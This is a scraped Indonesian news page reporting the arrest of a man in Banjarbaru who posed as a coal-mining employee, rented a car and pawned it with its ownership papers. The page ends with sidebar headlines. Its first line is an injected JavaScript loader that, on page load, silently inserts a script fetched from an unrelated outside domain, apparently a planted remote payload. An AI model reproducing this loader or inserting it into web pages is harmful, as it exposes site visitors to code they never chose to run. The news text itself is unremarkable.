(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: kriminal banjarbaru

Ngaku Kerja di Perusahaan Batu Bara, Pria Ini Dibui Gegara Gadaikan Mobil Plus BPKB-nya


KANALKALIMANTAN.COM, BANJARBARU – Personil gabungan Buser Polsek Banjarbaru Kota berhasil mengungkap kasus penipuan dan pengelapan mobil berserta BPKB, dengan total kerugian mencapai ratusan juta.

Ialah PK (24), warga Kecamatan Terbanggi Besar, Provinsi Lampung, yang melakukan penipuan dan penggelapan terhadap korban berinisial IW. Peristiwa itu terjadi di jalan Karang Anyar l Pondok Empat, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, Banjarbaru pada 2 Oktober 2020.

Kanit Reskrim Polsek Banjarbaru Kota, AKP Yuli Tetro, mengungkapkan, untuk memuluskan aksi tipu muslihat tersebut, PK berpura-bepura mengatasnamakan dirinya bekerja di sebuah perusahaan tambang batu bara.

“Modus pelaku berpura-pura mengatasnamakan perusahaan tambang batu bara, tempat dia bekerja. Lalu, dia menyewa mobil korbannya dengan perjanjian sistem pembayaran bulanan,” katanya, Kamis (22/10/2020).

Tak cukup sampai di situ, PK juga turut meminta BPKB mobil yang disewa tersebut. Dalihnya saat itu, sebagai pencatatan identitas kepemilikan mobil di perusahaan. Nahasnya, setelah korban menyerahkan BPKB tersebut, pelaku tiba-tiba saja hilang tanpa kabar. Hingga tak lama kemudian, korban baru mengetahui bahwa mobil yang disewakannya tersebut berserta BPKB, telah digadaikan pelaku sebesar Rp 50 juta.

Atas kejadian tersebut, kerugian korban ditaksir mencapai Rp 114 juta. Melalui hasil penyelidikan cukup panjang, Polsek Banjarbaru Kota akhirnya berhasil meringkus pelaku. Diketahui juga bahwa PK merupakan sarjana muda dengan gelar sarjana ekonomi.

“Saat diamankan, pelaku lulusan sarjana ekonomi tersebut mengakui uang hasil perbuatanya itu dihabiskan untuk hiburan dan kebutuhan sehari-hari. Pelaku kami jerat dengan pasal penipuan dan penggelapan sebagaimana dimaksud dalam pasal 378 Jo 372 KUHP dengan ancaman 4 tahun penjara,” terang AKP Tetro.

Sementara itu, Kapolsek Kompol Purbo Raharjo melalui Kasi Humas Aipda Ahmat Supriyanto, turut membenakan pelaku dan barang bukti berupa 1 unit mobil dengan nopol DA 8067 L, sudah diamankan guna dilakukan proses penyidikan.

“Kami imbau kepada masyarakat agar tetap waspada dan berhati-hati dalam bisnis rental mobil, karena rawan terjadinya tindak pidana. Untuk mencegah hal tersebut kami harapkan sebaiknya melakukan cek ulang atas calon kliennya, cek ulang diperlukan untuk menghindari pelaku penggelapan mobil yang menggunakan perusahaan fiktif,” imbaunya. (kanalkalimantan.com/rico)

Reporter: Rico
Editor : Bie


Desy Arfianty

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

8 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

11 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

12 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

21 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

21 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

22 jam ago

This website uses cookies.